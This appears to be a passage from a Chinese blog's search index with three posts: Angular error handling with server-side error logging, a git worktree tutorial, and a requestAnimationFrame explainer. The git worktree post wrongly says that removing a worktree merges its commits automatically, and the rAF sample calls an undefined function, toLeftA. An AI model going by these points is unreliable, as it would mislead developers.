class="keyword">if</span> (error <span class="keyword">instanceof</span> HttpErrorResponse) {</span><br><span class="line"> <span class="comment">// 服务器或者连接错误</span></span><br><span class="line"> <span class="keyword">if</span> (!navigator.onLine) {</span><br><span class="line"> <span class="comment">// 网络连接错误</span></span><br><span class="line"> <span class="keyword">return</span> notificationService.notify(<span class="string">'无网络连接'</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Http 错误 (error.status === 403, 404...)</span></span><br><span class="line"> <span class="keyword">return</span> notificationService.notify(<span class="string">`<span class="subst">${error.status}</span> - <span class="subst">${error.message}</span>`</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 客户端错误 (Angular Error, ReferenceError...) </span></span><br><span class="line"> router.navigate([<span class="string">'/errors'</span>], { queryParams: {error: error}})</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 总是输出错误到控制台</span></span><br><span class="line"> <span class="built_in">console</span>.error(<span class="string">'发生错误: '</span>, error);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong><em>实际例子</em></strong></p><ul><li>点击<code>Client Error</code>触发一个客户端错误,观察错误的处理方法</li><li>点击<code>Server Error</code> 触发一个服务端错误,观察错误的处理方法</li><li>打开<code>app>core>errors</code> 文件夹查看用于错误处理的<code>ErrorsComponent</code>,<code>ErrorsHandler</code>,<code>ServerErrorsInterceptor</code>和<code>errors-routing</code>的细节。</li></ul><iframe width="100%" height="600px" scrolling="no" frameborder="0" id="player" src="https://stackblitz.com/edit/error-handling-in-angular-step1?embed=1&file=app/core/errors/errors-handler/errors-handler.ts" allowfullscreen></iframe><h3 id="如何追踪记录错误"><a href="#如何追踪记录错误" class="headerlink" title="如何追踪记录错误"></a>如何追踪记录错误</h3><p>眼不见的心不烦…..,如果我们不知道在我们的应用中发生了什么错误,也就不会有进一步的优化和改进。</p><p>我们可以使用一个<code>ErrorsService</code>错误服务来将与错误有关的上下文信息发送到我们的服务器从而记录错误发生的位置。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//errors.service.ts</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> { ErrorHandler, Injectable, Injector} <span class="keyword">from</span> <span class="string">'@angular/core'</span>;</span><br><span class="line"><span class="keyword">import</span> { Location, LocationStrategy, PathLocationStrategy } <span class="keyword">from</span> <span class="string">'@angular/common'</span>;</span><br><span class="line"><span class="keyword">import</span> { HttpErrorResponse } <span class="keyword">from</span> <span class="string">'@angular/common/http'</span>;</span><br><span class="line"><span class="keyword">import</span> { Observable } <span class="keyword">from</span> <span class="string">'rxjs/Observable'</span>;</span><br><span class="line"><span class="keyword">import</span> <span class="string">'rxjs/add/observable/of'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// stacktrackjs是一个十分好用的追踪记录错误的库: https://www.stacktracejs.com</span></span><br><span class="line"><span class="keyword">import</span> * <span class="keyword">as</span> StackTraceParser <span class="keyword">from</span> <span class="string">'error-stack-parser'</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Injectable</span>()</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> ErrorsService {</span><br><span class="line"><span class="keyword">constructor</span>(<span class="params"></span></span><br><span class="line"><span class="params"> <span class="keyword">private</span> injector: Injector,</span></span><br><span class="line"><span class="params"> </span>) {}</span><br><span class="line">log(error) {</span><br><span class="line"> <span class="comment">// 将错误打印到控制台</span></span><br><span class="line"> <span class="built_in">console</span>.error(error);</span><br><span class="line"> <span class="comment">// 发送错误到服务器</span></span><br><span class="line"> <span class="keyword">const</span> errorToSend = <span class="keyword">this</span>.addContextInfo(error);</span><br><span class="line"> <span class="keyword">return</span> fakeHttpService.post(errorToSend);</span><br><span class="line">}</span><br><span class="line">addContextInfo(error) {</span><br><span class="line"> <span class="comment">// 所有你需要的错误上下文信息详情(它们有的来自其他的`service`服务或者常量,用户服务等)</span></span><br><span class="line"> <span class="keyword">const</span> name = error.name || <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">const</span> appId = <span class="string">'shthppnsApp'</span>;</span><br><span class="line"> <span class="keyword">const</span> user = <span class="string">'ShthppnsUser'</span>;</span><br><span class="line"> <span class="keyword">const</span> time = <span class="keyword">new</span> <span class="built_in">Date</span>().getTime();</span><br><span class="line"> <span class="keyword">const</span> id = <span class="string">`<span class="subst">${appId}</span>-<span class="subst">${user}</span>-<span class="subst">${time}</span>`</span>;</span><br><span class="line"> <span class="keyword">const</span> location = <span class="keyword">this</span>.injector.get(LocationStrategy);</span><br><span class="line"> <span class="keyword">const</span> url = location <span class="keyword">instanceof</span> PathLocationStrategy ? location.path() : <span class="string">''</span>;</span><br><span class="line"> <span class="keyword">const</span> status = error.status || <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">const</span> message = error.message || error.toString();</span><br><span class="line"> <span class="keyword">const</span> stack = error <span class="keyword">instanceof</span> HttpErrorResponse ? <span class="literal">null</span> : StackTraceParser.parse(error);</span><br><span class="line"> <span class="keyword">const</span> errorToSend = {name, appId, user, time, id, url, status, message, stack};</span><br><span class="line"> <span class="keyword">return</span> errorToSend;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后,更改我们的错误处理类<code>ErrorsHandler</code>来使用我们全新的<code>ErrorsService</code>。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { ErrorHandler, Injectable, Injector} <span class="keyword">from</span> <span class="string">'@angular/core'</span>;</span><br><span class="line"><span class="keyword">import</span> { HttpErrorResponse } <span class="keyword">from</span> <span class="string">'@angular/common/http'</span>;</span><br><span class="line"><span class="keyword">import</span> { Router } <span class="keyword">from</span> <span class="string">'@angular/router'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> * <span class="keyword">as</span> StackTraceParser <span class="keyword">from</span> <span class="string">'error-stack-parser'</span>;</span><br><span class="line"><span class="keyword">import</span> { ErrorsService } <span class="keyword">from</span> <span class="string">'../errors-service/errors.service'</span>;</span><br><span class="line"><span class="keyword">import</span> { NotificationService } <span class="keyword">from</span> <span class="string">'../../services/notification/notification.service'</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Injectable</span>()</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> ErrorsHandler <span class="keyword">implements</span> ErrorHandler {</span><br><span class="line"> <span class="keyword">constructor</span>(<span class="params"></span></span><br><span class="line"><span class="params"> <span class="keyword">private</span> injector: Injector,</span></span><br><span class="line"><span class="params"> </span>) {}</span><br><span class="line"> </span><br><span class="line"> handleError(error: <span class="built_in">Error</span> | HttpErrorResponse) {</span><br><span class="line"> <span class="keyword">const</span> notificationService = <span class="keyword">this</span>.injector.get(NotificationService);</span><br><span class="line"> <span class="keyword">const</span> errorsService = <span class="keyword">this</span>.injector.get(ErrorsService);</span><br><span class="line"> <span class="keyword">const</span> router = <span class="keyword">this</span>.injector.get(Router);</span><br><span class="line"><span class="keyword">if</span> (error <span class="keyword">instanceof</span> HttpErrorResponse) {</span><br><span class="line"> <span class="comment">//服务器或者连接错误 </span></span><br><span class="line"> <span class="keyword">if</span> (!navigator.onLine) {</span><br><span class="line"> <span class="comment">// 网络连接错误</span></span><br><span class="line"> <span class="keyword">return</span> notificationService.notify(<span class="string">'No Internet Connection'</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// Http 错误</span></span><br><span class="line"> <span class="comment">// 发送到服务器</span></span><br><span class="line"> errorsService</span><br><span class="line"> .log(error)</span><br><span class="line"> .subscribe();</span><br><span class="line"> <span class="comment">// 并向用户显示通知消息</span></span><br><span class="line"> <span class="keyword">return</span> notificationService.notify(<span class="string">`<span class="subst">${error.status}</span> - <span class="subst">${error.message}</span>`</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 客户端错误</span></span><br><span class="line"> <span class="comment">// 发送错误到服务器并将客户重定向到包含所有错误信息的错误页面</span></span><br><span class="line"> errorsService</span><br><span class="line"> .log(error)</span><br><span class="line"> .subscribe(<span class="function"><span class="params">errorWithContextInfo</span> =></span> {</span><br><span class="line"> router.navigate([<span class="string">'/error'</span>], { queryParams: errorWithContextInfo });</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>现在,我们对发生的错误拥有了许多的上下文信息并将它们发送到了服务器,从而便于我们的记录和追踪,同时这也让我们的应用能够给予客户更好的体验和反馈。</p><p><strong><em>实际例子</em></strong></p><ul><li>点击<code>Client Error</code>按钮,查看相关的文件,你会明白我们是如何向用户提供错误的详细信息。同时我们还向客户提供了一个错误ID。</li></ul><iframe width="100%" height="600px" scrolling="no" frameborder="0" id="player" src="https://stackblitz.com/edit/error-handling-in-angular-step2?embed=1&file=main.ts&hideExplorer=1" allowfullscreen></iframe><p>当我们修复这个错误时,我们可以联系客户通知关于这个特定 ID 错误的具体情况,简直太酷了。</p><p>当然,如果你不想自己来记录和追踪管理所有错误的话,有很多现成的第三方错误追踪服务可供你选用。例如<a href="https://sentry.io/" target="_blank" rel="noopener">sentry</a>,<a href="https://rollbar.com/" target="_blank" rel="noopener">rollbar</a>,或者 <a href="http://jsnlog.com/" target="_blank" rel="noopener">jsnlog</a>。</p><h3 id="404错误"><a href="#404错误" class="headerlink" title="404错误"></a>404错误</h3><p><code>404</code>错误是十分常见和典型的错误,它会在你请求一个服务器不存在的页面时发生。但在使用单页面应用的项目(<strong><em>SPA</em></strong>)中,页面已经在客户端,不需要通过网络请求获取,网络请求通常只被用来请求用于填充页面的<strong><em>数据</em></strong>。</p><p>所以,我们应该在什么时候展示一个<code>404</code>错误页呢?那就是在我们请求一个新页面填充所需的数据时,换句话说,当路由改变,新页面开始渲染,但新页面所需的数据并不可用时。这主要分为两种情况:</p><ul><li>路由<code>URL</code>改变,但新<code>URL</code>是未定义或者不可用的。</li><li>路由守卫解析失败(对应路由所需的数据请求失败)</li></ul><p>对于第一种情况,导航向一个不存在的<code>URL</code>,我们可以声明一个<strong><em>通配符(\</em>*)*</strong>来匹配所有不存在的路由导航。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// errors-routing.module.ts</span></span><br><span class="line"><span class="keyword">import</span> { NgModule } <span class="keyword">from</span> <span class="string">'@angular/core'</span>;</span><br><span class="line"><span class="keyword">import</span> { Routes, RouterModule } <span class="keyword">from</span> <span class="string">'@angular/router'</span>;</span><br><span class="line"><span class="keyword">import</span> { ErrorsComponent } <span class="keyword">from</span> <span class="string">'../errors-component/errors.component'</span>;</span><br><span class="line"><span class="keyword">const</span> routes: Routes = [</span><br><span class="line"> { path: <span class="string">'error'</span>, component: ErrorsComponent },</span><br><span class="line"> { path: <span class="string">'**'</span>, component: ErrorsComponent, data: { error: <span class="number">404</span> } },</span><br><span class="line">]</span><br><span class="line"><span class="meta">@NgModule</span>({</span><br><span class="line"> imports: [RouterModule.forChild(routes)],</span><br><span class="line"> exports: [RouterModule]</span><br><span class="line">})</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> ErrorRoutingModule { }</span><br></pre></td></tr></table></figure><p>通配符将匹配到的路由定向到我们上面创建的错误组件并传递一个<code>404</code>错误给它。</p><p>对于第二种情况,当导航的路由守卫解析失败时,我们可以监听路由的导航错误<code>NavigationError</code>。</p><p>我们在上面创建的<code>ErrorsService</code>中进行<code>NavigationError</code>错误的订阅。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// errors.service.ts</span></span><br><span class="line"><span class="meta">@Injectable</span>()</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> ErrorsService {</span><br><span class="line"><span class="keyword">constructor</span>(<span class="params"></span></span><br><span class="line"><span class="params"> <span class="keyword">private</span> injector: Injector,</span></span><br><span class="line"><span class="params"> <span class="keyword">private</span> router: Router,</span></span><br><span class="line"><span class="params"> </span>) {</span><br><span class="line"> <span class="comment">// 监听 navigation 错误</span></span><br><span class="line"> <span class="keyword">this</span>.router</span><br><span class="line"> .events </span><br><span class="line"> .subscribe(<span class="function">(<span class="params">event: Event</span>) =></span> {</span><br><span class="line"> <span class="comment">// 重定向到 ErrorComponent 组件</span></span><br><span class="line"> <span class="keyword">if</span> (event <span class="keyword">instanceof</span> NavigationError) {</span><br><span class="line"> <span class="keyword">if</span> (!navigator.onLine) { <span class="keyword">return</span>; }</span><br><span class="line"> <span class="keyword">this</span>.log(event.error)</span><br><span class="line"> .subscribe(<span class="function">(<span class="params">errorWithContext</span>) =></span> {</span><br><span class="line"> <span class="keyword">this</span>.router.navigate([<span class="string">'/error'</span>], { queryParams: errorWithContext });</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line">...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>现在,当我们解析路由守卫失败时,将会携带着错误信息作为查询参数重定向到<code>ErrorComponent</code>组件。你可以点击上面实际例子中的<code>Go To Page</code>按钮来看看实际效果。</p><p>我差点忘了<code>NavigationError</code> 在<code>ErrorHandler</code>中同样也会被捕获,这对我来说很有意义,但现在<code>Angular</code>在数据请求失败时会抛出一个<code>Uncaught(in Promise)</code>错误(而不是错误的具体信息,因为具体错误已经被<code>ErrorsService</code>捕获了)</p><p>OK,这篇博客就是这些了。你看到了错误是如何发生的,那么,当错误出现时会发生什么,将由你来决定了。</p><p>感谢阅读!</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> Angular </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> Angular </tag>
</tags>
</entry>
<entry>
<title>Git worktree</title>
<link href="/2018/09/16/Git-worktree/"/>
<url>/2018/09/16/Git-worktree/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:47 GMT+0800 (CST) --><blockquote><p>在<code>Git</code>的工作流中,我们经常会遇到需要从当前分支临时切换到其他分支的情况,如果此时我们有未提交的改动的话,<code>Git</code>就会告诉我们无法切换分支。一般的,我们都是通过<code>git stash</code>命令来将改动先暂存起来,或者临时的进行一个<code>commit</code>在随后再<code>reset</code>回来。</p><p>但这种在同一个工作目录中切来切去,伴随着文件的修改新增删除,非常麻烦,如果不注意的话,还容易出错。</p><p>在更极端的情况下,如果我们正在当前分支下跑测试或者编译,我们想一边测试或者编译一边<code>code</code>呢,要怎么办,<code>git</code>办不到吗?</p><p>其实完全可以,<code>git worktree</code>命令,就是为了解决分支切来切去问题的。</p><p>它可以让我们为同一个仓库开多个工作目录,每个工作目录盛放不同的分支,同时它还可以自动的做好多分支的同步,在需要同时处理多个分支时,十分的便捷和好用。</p><p>这篇博客,就主要来介绍一下这条<code>git</code>命令。</p><p>ps: 大部分内容翻译自官方文档,有的地方为了便于理解,进行了内容的整理和优化。</p></blockquote><a id="more"></a><h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p><code>git worktree</code>命令可以使一个<code>git</code>仓库同时存在多个工作目录,从而使你可以在同一时间将不同的两个分支分配在在两个不同的工作目录中。<br>具体的,通过<code>git worktree add</code>可以为当前所在仓库添加一个新的目录并迁出一个分支到其中,相对于我们通过<code>git init</code>或<code>git clone</code>初始化的<code>git</code>仓库所在的主工作目录,这个工作目录也可以称作<strong><em>关联工作目录</em></strong>。<br>对于一个非空的<code>git</code>仓库而言,只能有一个主工作目录,但可以有任意个关联工作目录。关于工作目录的相关信息,都在<code>.git/worktrees</code>目录下。</p><p>当你在关联工作目录中完成了需要的分支修改之后,不再需要它时,可以通过<code>git worktree remove</code>来移除它。<code>git</code>会自动的将分支信息和改动同步到所有存在的工作目录中去。</p><p>当使用<code>git worktree remove</code>移除关联工作目录后,其在<code>.git/worktrees</code>中相应的工作目录记录文件也会在三个月后被自动的清除,或者你也可以在任意的工作目录中使用<code>git worktree prune</code>来清理已不存在的关联工作目录的记录文件。</p><h3 id="简单示例"><a href="#简单示例" class="headerlink" title="简单示例"></a>简单示例</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span> git worktree add -b hotfix ../temp master</span><br><span class="line"><span class="meta">$</span> cd ../temp</span><br><span class="line"><span class="meta">#</span> ... 进行一些修改 ...</span><br><span class="line"><span class="meta">$</span> git commit -a -m 'hot fix for boss'</span><br><span class="line"><span class="meta">$</span> cd ../main</span><br><span class="line"><span class="meta">$</span> git worktree remove ../temp</span><br></pre></td></tr></table></figure><p>通过<code>git worktree add</code>命令新建一个工作目录,在其中进行一些修改并提交后,切回主工作目录,直接删除新建的关联工作目录即可,关联工作目录中的分支信息和提交会自动的合并到主工作目录中。</p><h3 id="具体命令"><a href="#具体命令" class="headerlink" title="具体命令"></a>具体命令</h3><h4 id="add-–lock-b"><a href="#add-–lock-b" class="headerlink" title="add [–lock] [-b ] []"></a><strong><em>add [–lock] [-b<branch>]<path></path>[<commit-ish>]</commit-ish></branch></em></strong></h4><p>创建<code><path></code>目录并迁出从当前工作仓库中对应的<code><commit-ish></code>分支中创建的新分支<code><branch></code>到其中。<br>如果不传递<code><commit-ish></code>,同时也未指定<code>-b</code>或者<code>-B</code>新分支名,则会从当前分支新建一个以<code>path</code>命名的新分支迁出到关联工作目录中。<br>可选的<code>commit-ish</code>选项, 若无则默认使用当前主目录所在的分支来新建迁出到关联工作目录的分支。<br>可选的<code>-b branch</code>选项,指定新分支的分支名,若无则使用关联工作目录<code>path</code>的目录名作为新分支名。<br>可选的<code>--lock</code>选项,用于在创建工作目录之后自动<code>lock</code>。</p><h4 id="list-–porcelain"><a href="#list-–porcelain" class="headerlink" title="list [–porcelain]"></a><strong><em>list [–porcelain]</em></strong></h4><p>列出当前仓库的所有工作目录。主工作目录始终位于第一条,其他关联工作目录跟随在其后。<br>可选的<code>--porcelain</code>选项,用于显示详细的工作目录信息。</p><h4 id="lock-–reason"><a href="#lock-–reason" class="headerlink" title="lock [–reason ] "></a><strong><em>lock [–reason<string>]<worktree></worktree></string></em></strong></h4><p>如果一个关联工作目录被放置在移动存储设备或类似的会被移除的设备上,你可以使用<code>git worktree lock</code>来锁定工作目录记录文件防止git发现工作目录不存在时会自动清除掉它的记录文件。<br>可选的<code>--reason</code>选项,注解锁定工作目录的原因。</p><h4 id="unlock"><a href="#unlock" class="headerlink" title="unlock "></a><strong><em>unlock<worktree></worktree></em></strong></h4><p>解除一个关联工作目录的记录文件的锁定</p><h4 id="move"><a href="#move" class="headerlink" title="move "></a><strong><em>move<worktree><new-path></new-path></worktree></em></strong></h4><p>移动关联工作目录到其他目录位置。</p><h4 id="prune-n-v-–expire"><a href="#prune-n-v-–expire" class="headerlink" title="prune [-n] [-v] [–expire ]"></a><strong><em>prune [-n] [-v] [–expire <time>]</time></em></strong></h4><p>删除所有无用的关联工作目录记录文件(位于<code>$GIT_DIR/worktrees</code>下)<br>可选的<code>-n</code>选项,用于只显示将要删除哪些工作目录记录文件,而不执行真正的删除。<br>可选的<code>-v</code>选项,用于显示详细的删除信息。<br>可选的<code>--expire <time></code>选项,用于只删除此时间之前的无用关联工作目录。</p><h4 id="remove"><a href="#remove" class="headerlink" title="remove"></a><strong><em>remove</em></strong></h4><p>删除一个关联工作目录。<br><code>-f</code>选项,如果工作目录中有未提交的改动时,必须使用<code>-f</code>才能删除。</p><p>以上就是关于<code>git worktree</code>命令的一些介绍,感谢阅读。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
</categories>
<tags>
<tag> Git </tag>
</tags>
</entry>
<entry>
<title>requestAnimationFrame是什么?</title>
<link href="/2018/09/15/requestAnimationFrame/"/>
<url>/2018/09/15/requestAnimationFrame/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>对于<code>web</code>应用来说,实现动画的方式有很多。在<code>CSS3</code>的动画效果已经非常强大的前提下,我们一般是不推荐使用<code>JS</code>来实现动画效果的,一是因为<code>JS</code>动画通常性能上都非常不乐观,二是写起来也十分麻烦,而且不易维护。</p><p>但在某些场景下,当<code>CSS3</code>动画不能满足需求时,我们就不得不借助于<code>JS</code>来实现了。在以前我们一般使用<code>setTimeout</code>通过定时来控制元素的位置,角度,透明度,显隐等属性实现动画的过渡效果。</p><p>今天要介绍的主角<code>requestAnimationFrame</code>,通过名字也可以看出,它与动画有关(废话!!要不我上面扯半天动画干嘛)。那么<code>requestAnimationFrame</code>相比于<code>setTimeout</code>又有哪些突出的优势呢?</p><p>让我们通过这篇博客来一一解释。</p></blockquote><a id="more"></a><h3 id="动画"><a href="#动画" class="headerlink" title="动画"></a>动画</h3><p>大家一定还记得,小时候我们看电影,放映员都是拿着一大盘的胶片,装在投影灯上来播放电影的,这也就是老式的胶片电影。通过将电影的一幕幕画面先洗在胶片上,然后将胶片快速的从投影灯前移动来打到大影幕上,从而在荧幕上显出连贯的画面来。胶片上的一个画面,就叫做一帧。</p><p>科技在发展,目前的显示器已经从老式的电子管到液晶,再到<code>LED</code>等材料,但不管显示器的科技如何更新,它基本的原理仍然是利用人眼的暂留效应,通过快速呈现出一帧帧静止的画面来实现基本的动态显示的。这个快速有多块呢?一般来说,普通显示器的显示频率是60Hz,也就是每16.7ms(1000/60)一帧。当然,现在有很多显示器早已达到了<code>144HZ</code>甚至更高。</p><p>再回到我们的正题,动画其实归根结底,也是更新每一帧的对应位置,从而形成一系列连贯平滑的屏幕显示图像,在人眼中表现出流畅的过渡效果。</p><h3 id="实现动画的几种方式"><a href="#实现动画的几种方式" class="headerlink" title="实现动画的几种方式:"></a>实现动画的几种方式:</h3><p>在网页中,我们实现动画主要有以下几种方式:</p><ul><li><code>html5</code>的<code>canvas</code></li><li><code>css3</code>的<code>transition</code>和<code>animation</code></li><li><code>JavaScript</code>的<code>setTimeout</code></li></ul><p>具体的来说,这几种方式都有相应的优势和局限性。</p><h4 id="html5的canvas"><a href="#html5的canvas" class="headerlink" title="html5的canvas"></a><strong><em>html5<code>的</code>canvas</em></strong></h4><p><code>canvas</code>的功能相当强大,可以实现很多酷炫的效果。但因为它本身是用来提供<code>web</code>的扩展支持和自主绘制的,除非在某些特定领域,大部分时间里对于我们平常需要动画效果来说,是不会用到它的。</p><h4 id="css3的transition和animation"><a href="#css3的transition和animation" class="headerlink" title="css3的transition和animation"></a><strong><em>css3的transition和animation</em></strong></h4><p><code>CSS3</code>动画的优点在于实现简单,维护容易,可复用性高,同时也可以挖掘出很多相当强大的动画效果。所以一般的,我们都推荐使用<code>CSS3</code>来进行网页的动画开发。<br>但在某些场景下,使用<code>CSS3</code>是无法达到我们的需求的。典型的有以下两个场景:</p><ul><li><p>需要逻辑判断和复杂的前置条件处理的动画,例如与元素的<code>scrollTop</code>值相关的动画,例如根据不同条件进行不同表现的动画。</p></li><li><p>非标准曲线的动画,因为<code>CSS3</code>只支持标准的贝塞尔曲线,所以它是无法实现很多复杂特殊的动画效果曲线的。</p></li></ul><p>对于以上两种不适合<code>CSS3</code>的动画,我们通常会使用<code>JS</code>来实现。那下面我们就来看一下<code>setTimeout</code>的优缺点。</p><h4 id="setTimeout"><a href="#setTimeout" class="headerlink" title="setTimeout"></a><strong><em>setTimeout</em></strong></h4><p><code>setTimeout</code>通过设定一个时间间隔来不断的更新屏幕图像,从而完成动图。<br>它的优点是可控性高,可以进行编码式的动画效果实现。<br>但是有以下几个缺点:</p><ul><li>执行时间因为<code>JS</code>的线程和事件循环问题会不准确</li><li>执行的时间间隔是固定的,在屏幕刷新的两帧间隔中无论<code>setTimeout</code>的回调函数执行了几次,都只会有最后一次有用,显示器只会更新最后一次执行结果对应的图像。<br>造成无用的函数运行开销,也就是过度绘制,同时因为更新图像的频率和屏幕的刷新重绘制步调不一致,会产生丢帧,在低性能的显示器动画看起来就会卡顿。</li><li>当网页标签或浏览器置于后台不可见时,仍然会执行,造成资源浪费。</li></ul><p>而<code>requestAnimationFrame</code>相比<code>setTimeout</code>,比较好的解决了以上的几个缺点。</p><h3 id="requestAnimationFrame"><a href="#requestAnimationFrame" class="headerlink" title="requestAnimationFrame"></a><strong><em>requestAnimationFrame</em></strong></h3><p>翻译过来就是请求动画帧,简称<code>rAF</code>,它是浏览器全局对象<code>window</code>的一个方法。</p><p>相比于<code>setTimeout</code>的在固定时间后执行对应的动画函数,<code>rAF</code>用于指示浏览器<strong><em>在下一次重新绘制屏幕图像时</em></strong>, 执行其提供的回调函数。</p><p>这也是<code>rAF</code>的最大优势–它能够保证我们的动画函数的每一次调用都对应着一次屏幕重绘,从而避免<code>setTimeout</code>通过时间定义动画频率,与屏幕刷新频率不一致导致的丢帧。<br>它的另一个优点就是在页面被置于后台或隐藏时,会自动的停止,不进行函数的执行,当页面激活时,会重新从上次停止的状态开始执行,因此在性能开销上也会相比<code>setTimeout</code>小很多。<br>总的来说,<code>requestAnimationFrame</code>的优点就是:</p><ul><li>使浏览器画面的重绘和回流与显示器的刷新频率同步</li><li>节省系统资源,提高性能和视觉效果</li></ul><h4 id="详细语法"><a href="#详细语法" class="headerlink" title="详细语法"></a>详细语法</h4><p>它的基本用法类似于<code>setTimeout</code>如下:<br></p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> i = <span class="number">0</span></span><br><span class="line"><span class="keyword">const</span> element = <span class="built_in">document</span>.querySelector(<span class="string">'#theEle'</span>)</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">toLeftAnimation</span>(<span class="params"></span>)</span>{</span><br><span class="line"> element.style.left = ++i + <span class="string">'px'</span></span><br><span class="line"> <span class="keyword">if</span> (i < <span class="number">1000</span>) {</span><br><span class="line"> <span class="built_in">window</span>.requestAnimationFrame(toLeftA)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="built_in">window</span>.requestAnimationFrame(toLeftA)</span><br></pre></td></tr></table></figure><p></p><p>在每一次屏幕显示图像的更新中,都将元素向左移动<code>1px</code>。<br>具体语法如下:</p><blockquote><p>window.requestAnimationFrame(callback)</p></blockquote><p><code>requestAnimationFrame</code>方法接收一个函数参数<code>callback</code>,这个函数参数会在浏览器下次绘制前执行。<br><code>callback</code>函数会被传入一个参数<code>DOMHighResTimeStamp</code>,这个参数的含义是指<code>callback</code>的执行时间,也就是下一次屏幕绘制发生的时间。<br><code>requestAnimationFrame</code>方法返回一个长整数,作为本次方法调用的唯一标志<code>ID</code>,可以将这个<code>ID</code>传递给<code>window.cancelAnimationFrame()</code>来取消掉对应的回调函数。</p><h3 id="兼容问题"><a href="#兼容问题" class="headerlink" 